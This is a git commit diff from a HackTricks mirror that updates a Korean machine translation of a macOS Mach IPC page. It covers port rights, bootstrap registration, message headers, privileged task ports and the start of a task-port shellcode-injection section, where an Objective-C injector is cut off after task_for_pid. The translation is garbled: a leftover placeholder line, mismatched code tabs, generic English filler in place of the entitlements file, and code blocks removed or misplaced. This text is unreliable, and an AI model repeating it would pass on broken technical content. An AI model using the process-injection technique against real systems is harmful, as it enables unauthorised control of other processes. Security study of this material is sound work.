mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
3e4e200b4f
commit
ae8032a268
3 changed files with 282 additions and 276 deletions
|
@ -2,65 +2,80 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소로 **PR 제출**하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## Mach 메시징을 통한 포트 간 통신
|
||||
## 포트를 통한 Mach 메시징
|
||||
|
||||
### 기본 정보
|
||||
|
||||
Mach는 리소스 공유를 위해 **작업**을 가장 작은 단위로 사용하며, 각 작업은 **여러 개의 스레드**를 포함할 수 있습니다. 이러한 **작업과 스레드는 POSIX 프로세스와 스레드와 1:1로 매핑**됩니다.
|
||||
Mach는 **작업**을 **리소스 공유의 가장 작은 단위**로 사용하며, 각 작업에는 **여러 스레드**가 포함될 수 있습니다. 이러한 **작업과 스레드는 POSIX 프로세스와 스레드에 1:1로 매핑**됩니다.
|
||||
|
||||
작업 간의 통신은 Mach 프로세스 간 통신 (IPC)을 통해 이루어지며, 일방향 통신 채널을 활용합니다. **메시지는 포트 간에 전송**되며, 이는 커널이 관리하는 **메시지 큐처럼 작동**합니다.
|
||||
작업 간 통신은 Mach 프로세스 간 통신 (IPC)을 통해 이루어지며, **커널이 관리하는 메시지 큐처럼 작동하는 포트 간에 메시지가 전송**됩니다.
|
||||
|
||||
각 프로세스에는 **IPC 테이블**이 있으며, 여기에서 **프로세스의 mach 포트**를 찾을 수 있습니다. mach 포트의 이름은 사실상 숫자입니다 (커널 객체에 대한 포인터).
|
||||
각 프로세스에는 **IPC 테이블**이 있어 **프로세스의 mach 포트**를 찾을 수 있습니다. Mach 포트의 이름은 실제로 숫자(커널 객체를 가리키는 포인터)입니다.
|
||||
|
||||
프로세스는 또한 **포트 이름과 함께 일부 권한을 가진 포트를 다른 작업에게 보낼 수 있으며**, 커널은 이를 **다른 작업의 IPC 테이블에 등록**합니다.
|
||||
프로세스는 또한 **일부 권한을 가진 포트 이름을 다른 작업에게 보낼 수 있으며**, 커널은 이를 다른 작업의 **IPC 테이블에 등록**합니다.
|
||||
|
||||
### 포트 권한
|
||||
|
||||
통신에 필요한 작업이 수행할 수 있는 작업을 정의하는 포트 권한은 이 통신의 핵심입니다. 가능한 **포트 권한**은 ([여기에서 정의된 내용](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
작업이 수행할 수 있는 작업을 정의하는 포트 권한은 이 통신에 중요합니다. 가능한 **포트 권한**은 ([여기에서 정의된 내용](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
* **수신 권한**은 포트로 전송된 메시지를 수신할 수 있게 합니다. Mach 포트는 MPSC (다중 생산자, 단일 소비자) 큐이므로 전체 시스템에서 각 포트에 대해 **하나의 수신 권한만 있을 수** 있습니다 (파이프의 경우 여러 프로세스가 하나의 파이프의 읽기 끝에 대한 파일 디스크립터를 모두 보유할 수 있습니다).
|
||||
* **수신 권한을 가진 작업**은 메시지를 수신하고 **송신 권한을 생성**할 수 있으며, 이를 통해 메시지를 보낼 수 있습니다. 원래는 **자체 작업만 수신 권한**을 가지고 있습니다.
|
||||
* **수신 권한**은 포트로 전송된 메시지를 수신할 수 있게 합니다. Mach 포트는 MPSC (다중 생산자, 단일 소비자) 큐이므로 전체 시스템에서 각 포트에 대해 **하나의 수신 권한만** 있을 수 있습니다 (여러 프로세스가 하나의 파이프의 읽기 끝에 대한 파일 디스크립터를 모두 보유할 수 있는 파이프와는 달리).
|
||||
* **수신 권한을 가진 작업**은 메시지를 수신하고 **송신 권한을 생성**할 수 있어 메시지를 보낼 수 있습니다. 처음에는 **자체 작업이 자체 포트에 대한 수신 권한**만 가지고 있습니다.
|
||||
* **송신 권한**은 포트로 메시지를 보낼 수 있게 합니다.
|
||||
* 송신 권한은 작업이 소유한 송신 권한을 복제하여 **제3의 작업에게 권한을 부여**할 수 있습니다.
|
||||
* **한 번만 보낼 수 있는 권한**은 포트로 한 번의 메시지를 보낸 후 사라집니다.
|
||||
* **포트 세트 권한**은 단일 포트가 아닌 _포트 세트_를 나타냅니다. 포트 세트에서 메시지를 디큐하는 것은 해당 포트 중 하나에서 메시지를 디큐합니다. 포트 세트는 Unix의 `select`/`poll`/`epoll`/`kqueue`와 매우 유사하게 여러 포트에서 동시에 수신 대기할 수 있습니다.
|
||||
* **데드 이름**은 실제 포트 권한이 아니라 플레이스홀더입니다. 포트가 파괴되면 포트에 대한 모든 기존 포트 권한이 데드 이름으로 변환됩니다.
|
||||
* 송신 권한은 복제될 수 있어 송신 권한을 소유한 작업이 권한을 복제하고 **세 번째 작업에게 부여**할 수 있습니다.
|
||||
* **한 번 송신 권한**은 포트로 한 번의 메시지를 보낼 수 있고 그 후 사라집니다.
|
||||
* **포트 세트 권한**은 단일 포트가 아닌 _포트 세트_를 나타냅니다. 포트 세트에서 메시지를 디큐하는 것은 해당 포트 중 하나에서 메시지를 디큐합니다. 포트 세트는 Unix의 `select`/`poll`/`epoll`/`kqueue`와 매우 유사하게 여러 포트에서 동시에 수신할 수 있습니다.
|
||||
* **데드 네임**은 실제 포트 권한이 아니라 단순히 자리 표시자입니다. 포트가 파괴되면 포트에 대한 모든 기존 포트 권한이 데드 네임으로 변합니다.
|
||||
|
||||
**작업은 송신 권한을 다른 작업에게 전송**하여 메시지를 보낼 수 있습니다. **송신 권한은 복제**될 수 있으므로 작업은 권한을 복제하고 **제3의 작업에게 권한을 부여**할 수 있습니다. 이는 중간 프로세스인 **부트스트랩 서버**와 함께 작업 간의 효과적인 통신을 가능하게 합니다.
|
||||
**작업은 다른 작업에게 송신 권한을 전달**하여 메시지를 다시 보낼 수 있습니다. **송신 권한은 복제될 수 있어 작업이 권한을 복제하고 세 번째 작업에게 권한을 부여**할 수 있습니다. 이는 **부트스트랩 서버**라는 중간 프로세스와 결합되어 작업 간 효과적인 통신을 가능하게 합니다.
|
||||
|
||||
### 파일 포트
|
||||
|
||||
파일 포트를 사용하면 Mac 포트(맥 포트 권한을 사용)에 파일 디스크립터를 캡슐화할 수 있습니다. 주어진 FD에서 `fileport_makeport`를 사용하여 `fileport`를 만들고 `fileport_makefd`를 사용하여 fileport에서 FD를 만들 수 있습니다.
|
||||
|
||||
### 통신 설정
|
||||
|
||||
#### 단계:
|
||||
|
||||
통신 채널을 설정하기 위해 **부트스트랩 서버** (**mac의 launchd**)가 관여합니다.
|
||||
통신 채널을 설정하려면 **부트스트랩 서버**(mac의 **launchd**)가 관여합니다.
|
||||
|
||||
1. 작업 **A**는 **새로운 포트**를 초기화하여 프로세스에서 **수신 권한**을 얻습니다.
|
||||
2. 수신 권한을 소유한 작업 **A**는 포트에 대한 **송신 권한을 생성**합니다.
|
||||
3. 작업 **A**는 **부트스트랩 서버**와 **연결**을 설정하며, **포트의 서비스 이름**과 **송신 권한**을 부트스트랩 등록이라는 절차를 통해 제공합니다.
|
||||
4. 작업 **B**는 서비스 이름에 대한 부트스트랩 **조회**를 수행하기 위해 **부트스트랩 서버**와 상호 작용합니다. 성공적인 경우, 서버는 작업 A로부터 받은 송신 권한을 **복제**하고 **작업 B에게 전송**합니다.
|
||||
5. 송신 권한을 획득한 후, 작업 **B**는 **메시지를 작성**하고 **작업 A에게 전송**할 수 있습니다.
|
||||
6. 양방향 통신의 경우 일반적으로 작업 **B**는 **수신 권한**과 **송신 권한을 가진 새로운 포트**를 생성하고, **송신 권한을 작업 A에게 제공**하여 작업 B에게 메시지를 보낼 수 있도록 합니다 (양방향 통신).
|
||||
1. 작업 **A**는 **새 포트**를 시작하여 프로세스에서 **수신 권한**을 획득합니다.
|
||||
2. 수신 권한을 보유한 작업 **A**는 포트에 대한 **송신 권한을 생성**합니다.
|
||||
3. 작업 **A**는 **부트스트랩 서버**와 **포트의 서비스 이름** 및 **송신 권한**을 제공하여 **부트스트랩 등록**이라는 절차를 통해 **연결**을 설정합니다.
|
||||
4. 작업 **B**는 **부트스트랩 서버**와 **서비스** 이름에 대한 부트스트랩 **조회**를 실행합니다. 성공하면 **서버가 작업 A로부터 받은 송신 권한을 복제**하고 **작업 B로 전송**합니다.
|
||||
5. 송신 권한을 획들한 작업 **B**는 **메시지를 작성**하고 **작업 A로 전송**할 수 있습니다.
|
||||
6. 양방향 통신을 위해 일반적으로 작업 **B**는 **수신** 권한과 **송신** 권한이 있는 새 포트를 생성하고 **송신 권한을 작업 A에게 제공**하여 작업 B로 메시지를 보낼 수 있습니다(양방향 통신).
|
||||
|
||||
부트스트랩 서버는 작업이 주장하는 서비스 이름을 인증할 수 없습니다. 이는 작업이 임의로 **인가 서비스 이름을 주장**하고 모든 요청을 승인할 수 있는 **시스템 작업을 가장할 수 있는** 작업의 잠재적인 가능성을 의미합니다.
|
||||
부트스트랩 서버는 **서비스 이름을 인증할 수 없습니다**. 이는 **작업**이 잠재적으로 **시스템 작업을 가장할 수 있으며**, 예를 들어 **인가 서비스 이름을 가장하여 모든 요청을 승인**할 수 있습니다.
|
||||
|
||||
그런 다음 Apple은 시스템 제공 서비스의 이름을 **SIP로 보호된** 디렉터리인 `/System/Library/LaunchDaemons` 및 `/System/Library/LaunchAgents`에 있는 안전한 구성 파일에 저장합니다. 부트스트랩 서버는 이러한 각 서비스 이름에 대한 **수신 권한을 생성 및 보유**합니다.
|
||||
그런 다음, Apple은 **시스템 제공 서비스의 이름**을 안전한 구성 파일에 저장합니다. 이 파일은 **SIP로 보호된** 디렉토리인 `/System/Library/LaunchDaemons` 및 `/System/Library/LaunchAgents`에 있습니다. 각 서비스 이름 옆에는 **관련된 이진 파일도 저장**됩니다. 부트스트랩 서버는 이러한 서비스 이름 각각에 대한 **수신 권한을 생성**하고 보유합니다.
|
||||
|
||||
이러한 사전 정의된 서비스에 대해서는 **조회 과정이 약간 다릅니다**. 서비스 이름이 조회되는 경우, launchd는 서비스를 동적으로 시작합니다. 새로운 작업 흐름은 다음과 같습니다:
|
||||
이러한 사전 정의된 서비스에 대해서는 **조회 프로세스가 약간 다릅니다**. 서비스 이름을 조회할 때, launchd는 서비스를 동적으로 시작합니다. 새로운 워크플로우는 다음과 같습니다:
|
||||
|
||||
* 작업 **B**는 서비스 이름에 대한 부트스트랩 **조회**를 시작합니다.
|
||||
* **launchd**는 작업이 실행 중인지 확인하고 실행 중이 아
|
||||
* **launchd**는 작업이 실행 중인지 확인하고 실행 중이 아니면 **시작**합니다.
|
||||
* 작업 **A**(서비스)는 **부트스트랩 체크인**을 수행합니다. 여기서 **부트스트랩** 서버는 송신 권한을 생성하고 보유하며 **수신 권한을 작업 A로 전송**합니다.
|
||||
* launchd는 **송신 권한을 복제하고 작업 B로 전송**합니다.
|
||||
* 작업 **B**는 **수신** 권한과 **송신** 권한이 있는 새 포트를 생성하고 **송신 권한을 작업 A**(svc)에게 제공하여 작업 B로 메시지를 보낼 수 있습니다(양방향 통신).
|
||||
|
||||
그러나 이 프로세스는 사전 정의된 시스템 작업에만 적용됩니다. 비시스템 작업은 여전히 처음에 설명된대로 작동하며, 이는 가장할 수 있는 가능성을 열어둘 수 있습니다.
|
||||
|
||||
### Mach 메시지
|
||||
|
||||
[더 많은 정보는 여기에서 찾을 수 있습니다](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
`mach_msg` 함수는 사실상 시스템 호출로, Mach 메시지를 보내고 받기 위해 사용됩니다. 이 함수는 보내려는 메시지를 초기 인수로 필요로 합니다. 이 메시지는 `mach_msg_header_t` 구조로 시작해야 하며 실제 메시지 내용이 뒤따라야 합니다. 이 구조는 다음과 같이 정의됩니다:
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
|
@ -71,34 +86,34 @@ mach_port_name_t msgh_voucher_port;
|
|||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
프로세스는 _**수신 권한**_을 가지고 있으면 Mach 포트에서 메시지를 수신할 수 있습니다. 반대로, **송신자**는 _**송신 권한**_ 또는 _**한 번만 보내기 권한**_을 부여받습니다. 한 번만 보내기 권한은 한 번의 메시지를 보낸 후에 무효화됩니다.
|
||||
_**수신 권한**_을 가진 프로세스는 Mach 포트에서 메시지를 수신할 수 있습니다. 반대로 **보내는 쪽**은 _**send**_ 또는 _**send-once right**_를 부여받습니다. send-once right는 한 번의 메시지를 보낸 후에는 무효화됩니다.
|
||||
|
||||
쉬운 **양방향 통신**을 위해 프로세스는 _응답 포트_ (**`msgh_local_port`**)라고 불리는 mach **메시지 헤더**에 mach 포트를 지정할 수 있습니다. 메시지의 **수신자**는 이 메시지에 대한 **응답을 보낼 수 있습니다**. **`msgh_bits`**의 비트 플래그는 이 포트에 대해 **한 번만 보내기 권한**이 파생되고 전송되어야 함을 나타낼 수 있습니다 (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
쉬운 **양방향 통신**을 위해 프로세스는 mach **메시지 헤더**에서 _응답 포트_ (**`msgh_local_port`**)라고 불리는 mach 포트를 지정할 수 있습니다. 메시지의 **수신자**는 이 메시지에 대한 응답을 이 포트로 보낼 수 있습니다. **`msgh_bits`**의 비트 플래그는 이 포트에 대해 **send-once right**가 파생되고 전송되어야 함을 나타내는 데 사용될 수 있습니다 (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
|
||||
{% hint style="success" %}
|
||||
이러한 양방향 통신은 일반적으로 응답을 기대하는 XPC 메시지에서 사용됩니다 (`xpc_connection_send_message_with_reply` 및 `xpc_connection_send_message_with_reply_sync`). 그러나 일반적으로 양방향 통신을 생성하기 위해 이전에 설명한 대로 **다른 포트가 생성**됩니다.
|
||||
XPC 메시지에서 사용되는 이러한 종류의 양방향 통신은 응답을 기대하는 XPC 메시지에서 사용됩니다 (`xpc_connection_send_message_with_reply` 및 `xpc_connection_send_message_with_reply_sync`). 그러나 **일반적으로 서로 다른 포트가 생성**되어 양방향 통신을 생성하는 방법에 대해 이전에 설명한 대로 사용됩니다.
|
||||
{% endhint %}
|
||||
|
||||
메시지 헤더의 다른 필드는 다음과 같습니다:
|
||||
|
||||
* `msgh_size`: 패킷의 전체 크기.
|
||||
* `msgh_remote_port`: 이 메시지가 전송되는 포트.
|
||||
* `msgh_voucher_port`: [mach 바우처](https://robert.sesek.com/2023/6/mach\_vouchers.html).
|
||||
* `msgh_id`: 수신자에 의해 해석되는 이 메시지의 ID.
|
||||
- `msgh_size`: 전체 패킷의 크기.
|
||||
- `msgh_remote_port`: 이 메시지가 전송된 포트.
|
||||
- `msgh_voucher_port`: [mach 바우처](https://robert.sesek.com/2023/6/mach\_vouchers.html).
|
||||
- `msgh_id`: 수신자가 해석하는 이 메시지의 ID.
|
||||
|
||||
{% hint style="danger" %}
|
||||
**mach 메시지는 mach 포트를 통해 전송**되며, 이는 mach 커널에 내장된 **단일 수신자**, **다중 송신자** 통신 채널입니다. **여러 프로세스**가 mach 포트로 메시지를 **보낼 수 있지만**, 언제든지 **단일 프로세스만** 읽을 수 있습니다.
|
||||
**mach 메시지는 \_mach 포트**를 통해 전송되며, 이는 mach 커널에 내장된 **단일 수신자**, **다중 송신자** 통신 채널입니다. **여러 프로세스**가 mach 포트로 메시지를 **보낼 수 있지만**, 언제든지 **단일 프로세스만**이 그것을 읽을 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### 포트 열거하기
|
||||
### 포트 나열하기
|
||||
```bash
|
||||
lsmp -p <pid>
|
||||
```
|
||||
이 도구를 설치하려면 iOS에서 [http://newosxbook.com/tools/binpack64-256.tar.gz ](http://newosxbook.com/tools/binpack64-256.tar.gz)에서 다운로드할 수 있습니다.
|
||||
iOS에서 이 도구를 설치하려면 [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)에서 다운로드할 수 있습니다.
|
||||
|
||||
### 코드 예시
|
||||
|
||||
**sender**가 포트를 할당하고 `org.darlinghq.example` 이름에 대한 **send right**를 생성하여 **부트스트랩 서버**로 보내는 것을 주목하세요. 그리고 수신자는 그 이름에 대한 **send right**를 요청하고 메시지를 보내기 위해 사용했습니다.
|
||||
**sender**가 포트를 할당하고 `org.darlinghq.example` 이름에 대한 **send right**를 생성하여 **부트스트랩 서버**로 보내는 방법에 주목하십시오. 수신자는 그 이름에 대한 **send right**를 요청하고 이를 사용하여 **메시지를 보내는** 방법을 사용했습니다.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="receiver.c" %}
|
||||
|
@ -167,63 +182,9 @@ message.some_text[9] = 0;
|
|||
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
||||
}
|
||||
```
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/message.h>
|
||||
|
||||
#define BUFFER_SIZE 1024
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
mach_port_t server_port;
|
||||
kern_return_t kr;
|
||||
char buffer[BUFFER_SIZE];
|
||||
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <message>\n", argv[0]);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Connect to the server port
|
||||
kr = task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &server_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to get server port: %s\n", mach_error_string(kr));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Create a message
|
||||
mach_msg_header_t *msg = (mach_msg_header_t *)buffer;
|
||||
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
|
||||
msg->msgh_size = sizeof(buffer);
|
||||
msg->msgh_remote_port = server_port;
|
||||
msg->msgh_local_port = MACH_PORT_NULL;
|
||||
msg->msgh_reserved = 0;
|
||||
|
||||
// Set the message type
|
||||
msg->msgh_id = 0x12345678;
|
||||
|
||||
// Set the message body
|
||||
char *msg_body = buffer + sizeof(mach_msg_header_t);
|
||||
strncpy(msg_body, argv[1], BUFFER_SIZE - sizeof(mach_msg_header_t));
|
||||
|
||||
// Send the message
|
||||
kr = mach_msg(msg, MACH_SEND_MSG, msg->msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to send message: %s\n", mach_error_string(kr));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("Message sent successfully\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="receiver.c" %}
|
||||
{% tab title="sender.c" %}번역된 텍스트가 여기에 들어갑니다.{% endtab %}
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc sender.c -o sender
|
||||
|
@ -275,25 +236,22 @@ return 1;
|
|||
printf("Sent a message\n");
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### 특권 포트
|
||||
|
||||
* **호스트 포트**: 이 포트에 대한 **Send** 권한을 가진 프로세스는 **시스템 정보**(예: `host_processor_info`)를 얻을 수 있습니다.
|
||||
* **호스트 priv 포트**: 이 포트에 대한 **Send** 권한을 가진 프로세스는 커널 확장을 로드하는 등의 **특권 작업**을 수행할 수 있습니다. 이 권한을 얻으려면 **프로세스가 root**여야 합니다.
|
||||
* 또한, **`kext_request`** API를 호출하려면 다른 **`com.apple.private.kext*`** 권한이 필요하며, 이는 Apple 바이너리에만 부여됩니다.
|
||||
* **작업 이름 포트**: _작업 포트_의 비특권 버전입니다. 작업을 참조하지만 제어할 수는 없습니다. 이를 통해 사용 가능한 것은 `task_info()`뿐입니다.
|
||||
* **작업 포트** (또는 커널 포트)**:** 이 포트에 대한 Send 권한을 가지면 작업을 제어할 수 있습니다(메모리 읽기/쓰기, 스레드 생성 등).
|
||||
* 호출 `mach_task_self()`를 사용하여 호출자 작업에 대한 이 포트의 **이름을 가져옵니다**. 이 포트는 **`exec()`**를 통해만 **상속**됩니다. `fork()`로 생성된 새 작업은 새 작업 포트를 받습니다(특별한 경우로, suid 바이너리에서 `exec()` 후에도 작업은 새 작업 포트를 받습니다). 작업을 생성하고 해당 포트를 얻는 유일한 방법은 `fork()`를 수행하는 동안 ["포트 스왑 댄스"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)를 수행하는 것입니다.
|
||||
* 이 포트에 액세스하기 위한 제한 사항은 (`AppleMobileFileIntegrity` 바이너리의 `macos_task_policy`에서 가져옴) 다음과 같습니다:
|
||||
* 앱에 **`com.apple.security.get-task-allow` 권한**이 있는 경우 **동일한 사용자의 프로세스가 작업 포트에 액세스**할 수 있습니다(주로 디버깅을 위해 Xcode에서 추가됩니다). **노타리제이션**(notarization) 프로세스는 이를 제품 릴리스에 허용하지 않습니다.
|
||||
* **`com.apple.system-task-ports`** 권한이 있는 앱은 커널을 제외한 **모든** 프로세스의 작업 포트를 얻을 수 있습니다. 이전 버전에서는 **`task_for_pid-allow`**로 불렸습니다. 이 권한은 Apple 애플리케이션에만 부여됩니다.
|
||||
* **루트는** 하드닝된 **런타임이 없는** 애플리케이션의 작업 포트에 액세스할 수 있습니다(및 Apple에서 제공하지 않음).
|
||||
- **호스트 포트**: 프로세스가 이 포트에 대한 **Send** 권한을 가지고 있다면 시스템에 대한 **정보**를 얻을 수 있습니다 (예: `host_processor_info`).
|
||||
- **호스트 특권 포트**: 이 포트에 대한 **Send** 권한을 가진 프로세스는 커널 익스텐션을 로드하는 등 **특권 작업**을 수행할 수 있습니다. 이 권한을 얻으려면 **프로세스가 루트여야** 합니다.
|
||||
- 또한 **`kext_request`** API를 호출하려면 다른 엔타이틀먼트 **`com.apple.private.kext*`**가 필요하며, 이는 Apple 이진 파일에만 부여됩니다.
|
||||
- **태스크 이름 포트**: _태스크 포트_의 권한이 없는 버전입니다. 태스크를 참조하지만 제어할 수는 없습니다. 이를 통해 사용 가능한 것은 `task_info()`뿐입니다.
|
||||
- **태스크 포트** (또는 커널 포트)**:** 이 포트에 대한 Send 권한이 있으면 태스크를 제어할 수 있습니다 (메모리 읽기/쓰기, 스레드 생성 등).
|
||||
- 호출 `mach_task_self()`를 사용하여 호출자 태스크에 대한 이 포트의 **이름을 가져올** 수 있습니다. 이 포트는 **`exec()`**를 통해만 **상속**됩니다. `fork()`로 생성된 새로운 태스크는 새로운 태스크 포트를 받습니다 (`exec()` 이후 suid 이진 파일에서도 특별한 경우로 태스크는 `exec()` 이후 새로운 태스크 포트를 받습니다). 태스크를 생성하고 해당 포트를 얻는 유일한 방법은 `fork()`를 수행하면서 ["포트 스왑 댄스"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)를 수행하는 것입니다.
|
||||
- 이 포트에 액세스하기 위한 제한 사항 (바이너리 `AppleMobileFileIntegrity`의 `macos_task_policy`에서):
|
||||
- 앱이 **`com.apple.security.get-task-allow` 엔타이틀먼트**를 가지고 있다면 **동일한 사용자의 프로세스가 태스크 포트에 액세스**할 수 있습니다 (주로 디버깅을 위해 Xcode에서 추가됨). **노타리제이션** 프로세스는 프로덕션 릴리스에서 이를 허용하지 않습니다.
|
||||
- **`com.apple.system-task-ports`** 엔타이틀먼트가 있는 앱은 커널을 제외한 **모든** 프로세스의 **태스크 포트를 얻을 수** 있습니다. 이전 버전에서는 **`task_for_pid-allow`**로 불렸습니다. 이 권한은 Apple 애플리케이션에만 부여됩니다.
|
||||
- **루트는** **하드닝된** 런타임으로 컴파일되지 않은 애플리케이션의 태스크 포트에 **액세스할 수 있습니다** (Apple에서 제공되지 않은 경우).
|
||||
|
||||
### 작업 포트를 통한 스레드에 대한 쉘코드 삽입
|
||||
### 태스크 포트를 통한 스렬코드 삽입
|
||||
|
||||
다음에서 쉘코드를 가져올 수 있습니다:
|
||||
다음에서 스렬코드를 가져올 수 있습니다:
|
||||
|
||||
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
|
@ -330,7 +288,40 @@ performMathOperations(); // Silent action
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
{% tab title="entitlements.plist" %}entitlements.plist 파일은 macOS 애플리케이션의 권한과 특권을 정의하는 XML 파일입니다. 이 파일은 애플리케이션이 특정 시스템 리소스에 접근하거나 특정 작업을 수행할 수 있는 권한을 부여합니다. entitlements.plist 파일은 애플리케이션의 보안 및 권한 상태를 설정하는 데 사용됩니다. 이 파일을 수정하면 애플리케이션의 특정 기능에 대한 액세스 권한을 변경할 수 있습니다. 이는 특권 상승 공격에 사용될 수 있습니다.
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="entitlements.plist" %}
|
||||
|
||||
## macOS IPC (Inter-Process Communication)
|
||||
|
||||
### Introduction
|
||||
|
||||
Inter-Process Communication (IPC) is a mechanism that allows processes to communicate and share data with each other. macOS provides several IPC mechanisms, including Mach ports, XPC services, and Distributed Objects. These mechanisms are used by applications to communicate with system services and other applications.
|
||||
|
||||
### Security Implications
|
||||
|
||||
Improperly configured IPC mechanisms can introduce security vulnerabilities, such as privilege escalation and information disclosure. It is important to properly configure IPC mechanisms and validate the data exchanged between processes to prevent these vulnerabilities.
|
||||
|
||||
### Privilege Escalation
|
||||
|
||||
Some IPC mechanisms may be used by malicious actors to escalate their privileges on the system. By exploiting vulnerabilities in IPC mechanisms, an attacker may be able to execute code with elevated privileges and perform unauthorized actions on the system.
|
||||
|
||||
### Best Practices
|
||||
|
||||
To secure IPC mechanisms on macOS, follow these best practices:
|
||||
|
||||
1. **Use Secure Communication Channels**: Encrypt data exchanged between processes to prevent eavesdropping and tampering.
|
||||
2. **Validate Input Data**: Always validate input data received from other processes to prevent injection attacks and data manipulation.
|
||||
3. **Limit Privileges**: Restrict the privileges of processes using IPC mechanisms to minimize the impact of potential security vulnerabilities.
|
||||
4. **Monitor IPC Activity**: Monitor IPC activity on the system to detect any suspicious behavior or unauthorized access attempts.
|
||||
|
||||
By following these best practices, you can enhance the security of IPC mechanisms on macOS and reduce the risk of privilege escalation and other security threats.
|
||||
|
||||
### Conclusion
|
||||
|
||||
IPC mechanisms are essential for inter-process communication on macOS, but they can also introduce security risks if not properly configured and secured. By understanding the security implications of IPC mechanisms and following best practices for securing them, you can mitigate the risks associated with IPC and protect your system from potential attacks.
|
||||
|
||||
{% endtab %}
|
||||
```xml
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
|
@ -340,30 +331,14 @@ return 0;
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
{% tabs %}
|
||||
{% tab title="Objective-C" %}
|
||||
```objective-c
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <mach/mach.h>
|
||||
#import <mach/mach_vm.h>
|
||||
#import <sys/mman.h>
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <PID>\n", argv[0]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
pid_t target_pid = atoi(argv[1]);
|
||||
mach_port_t target_task;
|
||||
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &target_task);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
